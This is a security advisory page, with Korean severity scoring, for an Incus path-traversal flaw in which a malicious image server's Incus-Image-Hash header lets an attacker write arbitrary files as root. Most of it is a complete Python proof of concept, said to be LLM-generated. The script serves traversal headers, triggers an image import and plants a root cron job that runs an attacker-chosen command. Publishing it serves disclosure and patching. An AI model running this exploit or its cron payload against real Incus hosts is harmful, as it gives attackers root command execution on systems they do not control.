Incus has an arbitrary file write on its client due to trusted image hash
위협 신호 · CVSS · EPSS · KEV
시급 검토· 이론 심각도 Critical
CVSS
9.9critical
이론적 심각도 점수
EPSS
—예측 데이터 없음
KEV
미등재실측 악용 기록 없음
권장 대응 기한14일 이내CISA SSVC 기준
2주 이내 패치 — 우선 조치 대상
완전 장악외부 노출· KEV 미등재 · 자동화 어려움 · 완전 장악 · 외부 노출
CVSS 벡터 · 메트릭
악용 경로
공격 벡터네트워크
공격 복잡도낮음
필요 권한낮음
사용자 상호작용불필요
범위변경
영향
기밀성 영향높음
무결성 영향높음
가용성 영향높음
버전별 점수
CVSS 3.19.9CRITICAL
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H상세 설명
Summary
An arbitrary file write exists in the Incus client when a malicious image server returns a crafted Incus-Image-Hash header. This can lead to arbitrary command execution as root on the server.
Details
cmd/incusd/images.go:611-684handlessource.type=urlby HEADing the user-supplied URL, readingIncus-Image-HashandIncus-Image-URL, and passing them toimageDownload()asAliasandServer.cmd/incusd/daemon_images.go:91-92defaultsfpto the caller-controlled alias string.cmd/incusd/daemon_images.go:333-335buildsdestName := filepath.Join(destDir, fp).cmd/incusd/daemon_images.go:469-523enters thedirectprotocol branch, opensdestNamewithos.Create(), and copies the HTTP response into that file.cmd/incusd/daemon_images.go:528-532validates the SHA-256 only after the file has already been created and populated.cmd/incusd/daemon_images.go:337-344cleanup only runs after the copy returns; a slow or held response extends the arbitrary-write window.
A malicious image server returning something along the following will cause the arbitrary file write.
text
1Incus-Image-Hash: ../../../../etc/cron.d/incus-direct-image-url-rce 2Incus-Image-URL: http://attacker/payloadPoC
The script below creates a malicious image server and requests an Incus server to fetch the image. File write occurs when the image is unpacked.
The following script was generated by an LLM.
python
1#!/usr/bin/env python3 2"""Direct image URL hash path traversal to transient host cron write. 3 4For `source.type=url`, Incus first HEADs an attacker-controlled URL and trusts the `Incus-Image-Hash` header as the expected fingerprint. The direct download path then creates `/var/lib/incus/images/<hash>` before validating that the hash is a real SHA-256 of the downloaded bytes. A hash containing `../` escapes the image directory. 5 6Default mode is dry-run. With --execute-trigger this script starts a tiny HTTP server, returns a traversal hash pointing at cron, streams the cron payload, and keeps the response open so the daemon-side cleanup does not immediately remove the file. 7 8""" 9 10from __future__ import annotations11 12import argparse13import http.client14import json15import shlex16import socket17import ssl18import sys19import threading20import time21import urllib.parse22from http.server import BaseHTTPRequestHandler, ThreadingHTTPServer23from typing import Any24 25 26DEFAULT_SOCKET = "/var/lib/incus/unix.socket"27DEFAULT_TRAVERSAL = "../../../../etc/cron.d/incus-direct-image-url-rce"28 29 30class UnixHTTPConnection(http.client.HTTPConnection):31 def __init__(self, socket_path: str, timeout: int = 120):32 super().__init__("incus", timeout=timeout)33 self.socket_path = socket_path34 35 def connect(self) -> None:36 sock = socket.socket(socket.AF_UNIX, socket.SOCK_STREAM)37 sock.settimeout(self.timeout)38 sock.connect(self.socket_path)39 self.sock = sock40 41 42class RCEHTTPServer(ThreadingHTTPServer):43 hash_path: str44 advertise_url: str45 payload: bytes46 hold_seconds: int47 payload_requested: threading.Event48 49 50class DirectImageHandler(BaseHTTPRequestHandler):51 protocol_version = "HTTP/1.1"52 server_version = "direct-image-rce/1.0"53 54 def log_message(self, fmt: str, *args: Any) -> None:55 print(f"[http] {self.address_string()} - {fmt % args}", flush=True)56 57 def do_HEAD(self) -> None:58 if self.path != "/stage":59 self.send_error(404)60 return61 62 srv = self.server63 assert isinstance(srv, RCEHTTPServer)64 self.send_response(200)65 self.send_header("Incus-Image-Hash", srv.hash_path)66 self.send_header("Incus-Image-URL", srv.advertise_url.rstrip("/") + "/payload")67 self.send_header("Connection", "close")68 self.end_headers()69 70 def do_GET(self) -> None:71 if self.path != "/payload":72 self.send_error(404)73 return74 75 srv = self.server76 assert isinstance(srv, RCEHTTPServer)77 srv.payload_requested.set()78 79 self.send_response(200)80 self.send_header("Content-Type", "application/octet-stream")81 self.send_header("Cache-Control", "no-store")82 self.end_headers()83 self.wfile.write(srv.payload)84 self.wfile.flush()85 print(f"[*] payload bytes written to daemon response; holding for {srv.hold_seconds}s", flush=True)86 time.sleep(srv.hold_seconds)87 self.close_connection = True88 89 90def quote(value: str) -> str:91 return urllib.parse.quote(value, safe="")92 93 94def tls_context(args: argparse.Namespace) -> ssl.SSLContext:95 if args.insecure:96 ctx = ssl._create_unverified_context()97 else:98 ctx = ssl.create_default_context(cafile=args.cacert)99 100 if args.cert:101 ctx.load_cert_chain(args.cert, args.key)102 103 return ctx104 105 106def connection(args: argparse.Namespace) -> http.client.HTTPConnection:107 if args.url:108 parsed = urllib.parse.urlparse(args.url)109 if parsed.scheme != "https":110 raise ValueError("--url must use https")111 112 return http.client.HTTPSConnection(113 parsed.hostname,114 parsed.port or 8443,115 timeout=args.timeout,116 context=tls_context(args),117 )118 119 return UnixHTTPConnection(args.socket, timeout=args.timeout)120 121 122def request_json(123 args: argparse.Namespace,124 method: str,125 path: str,126 obj: dict[str, Any] | None,127 allow_error: bool = False,128) -> tuple[int, dict[str, Any]]:129 body = None if obj is None else json.dumps(obj).encode("utf-8")130 headers = {"Host": "incus"}131 if body is not None:132 headers["Content-Type"] = "application/json"133 134 conn = connection(args)135 conn.request(method, path, body=body, headers=headers)136 resp = conn.getresponse()137 raw = resp.read()138 conn.close()139 140 try:141 data = json.loads(raw) if raw else {}142 except json.JSONDecodeError:143 data = {"raw": raw.decode("utf-8", "replace")}144 145 if not allow_error and (resp.status >= 400 or data.get("type") == "error"):146 raise RuntimeError(f"{method} {path} failed with HTTP {resp.status}: {data}")147 148 return resp.status, data149 150 151def images_path(project: str) -> str:152 return "/1.0/images?project=" + quote(project)153 154 155def cron_payload(command: str) -> bytes:156 return f"* * * * * root /bin/sh -c {shlex.quote(command)}\n".encode("utf-8")157 158 159def image_url_body(project_url: str, public: bool) -> dict[str, Any]:160 return {161 "source": {162 "type": "url",163 "url": project_url.rstrip("/") + "/stage",164 },165 "public": public,166 }167 168 169def start_server(args: argparse.Namespace, payload: bytes) -> RCEHTTPServer:170 server = RCEHTTPServer((args.listen_host, args.listen_port), DirectImageHandler)171 server.hash_path = args.hash_path172 server.advertise_url = args.advertise_url173 server.payload = payload174 server.hold_seconds = args.hold_seconds175 server.payload_requested = threading.Event()176 177 thread = threading.Thread(target=server.serve_forever, daemon=True)178 thread.start()179 return server180 181 182def main() -> int:183 parser = argparse.ArgumentParser(description="Incus direct image URL hash traversal cron RCE PoC")184 parser.add_argument("--socket", default=DEFAULT_SOCKET, help="Incus Unix socket")185 parser.add_argument("--url", help="remote Incus URL, for example https://host.ctf:8443")186 parser.add_argument("--cert", help="client certificate for remote Incus")187 parser.add_argument("--key", help="client private key for remote Incus")188 parser.add_argument("--cacert", help="CA certificate for remote Incus")189 parser.add_argument("--insecure", action="store_true", help="disable TLS verification")190 parser.add_argument("--timeout", type=int, default=120, help="Incus request timeout")191 parser.add_argument("--project", default="default", help="project used for image import")192 parser.add_argument("--public", action="store_true", help="mark imported image public")193 parser.add_argument("--listen-host", default="0.0.0.0", help="HTTP listen address")194 parser.add_argument("--listen-port", type=int, default=8088, help="HTTP listen port")195 parser.add_argument("--advertise-url", default="http://127.0.0.1:8088", help="URL reachable by the Incus daemon")196 parser.add_argument("--hash-path", default=DEFAULT_TRAVERSAL, help="value returned in Incus-Image-Hash")197 parser.add_argument("--hold-seconds", type=int, default=90, help="keep payload response open for this many seconds")198 parser.add_argument("--command", default="id > /tmp/incus-direct-image-url-rce", help="command cron should run")199 parser.add_argument("--execute-trigger", action="store_true", help="start server and trigger POST /1.0/images")200 parser.add_argument("--yes-i-understand-this-writes-host-file", action="store_true", help="required with --execute-trigger")201 args = parser.parse_args()202 203 if bool(args.cert) != bool(args.key):204 parser.error("--cert and --key must be supplied together")205 if args.execute_trigger and not args.yes_i_understand_this_writes_host_file:206 parser.error("--execute-trigger requires --yes-i-understand-this-writes-host-file")207 208 payload = cron_payload(args.command)209 trigger_body = image_url_body(args.advertise_url, args.public)210 211 print("[*] exploit primitive: direct image URL unvalidated hash path host write")212 print(f"[*] HEAD URL served to daemon: {args.advertise_url.rstrip()}/stage")213 print(f"[*] returned Incus-Image-Hash: {args.hash_path}")214 print(f"[*] returned Incus-Image-URL: {args.advertise_url.rstrip()}/payload")215 print(f"[*] expected escaped host target from default Incus dir: /etc/cron.d/incus-direct-image-url-rce")216 print(f"[*] cron payload: {payload.decode().rstrip()}")217 print(f"[*] trigger body: {json.dumps(trigger_body, sort_keys=True)}")218 219 if not args.execute_trigger:220 print("[*] dry run only; pass --execute-trigger and --yes-i-understand-this-writes-host-file to test")221 return 0222 223 server = start_server(args, payload)224 print(f"[*] HTTP server listening on {args.listen_host}:{args.listen_port}")225 226 status, data = request_json(args, "POST", images_path(args.project), trigger_body, allow_error=True)227 print(f"[*] POST /1.0/images HTTP {status}: {json.dumps(data, indent=2, sort_keys=True)}")228 229 if server.payload_requested.wait(timeout=min(args.hold_seconds, 30)):230 print("[*] daemon requested payload; cron file should exist until the held response is released")231 else:232 print("[!] daemon did not request payload within the wait window")233 234 print("[*] leaving HTTP server active for the remaining hold window")235 time.sleep(max(0, args.hold_seconds - 30))236 server.shutdown()237 server.server_close()238 return 0239 240 241if __name__ == "__main__":242 try:243 raise SystemExit(main())244 except BrokenPipeError:245 raise SystemExit(1)246 except Exception as exc:247 print(f"[-] {exc}", file=sys.stderr)248 raise SystemExit(1)Impact
An arbitrary file write on the client with root privileges; possibly leading to arbitrary command execution.
AI 심층 분석
공격 시나리오 · 재현 가능한 PoC 페이로드 · 즉시 적용 가능한 차단 패치를 한 번에 받아 보세요. 보안 운영팀이 그대로 점검·티켓팅에 쓸 수 있는 형태로 정리해 드립니다.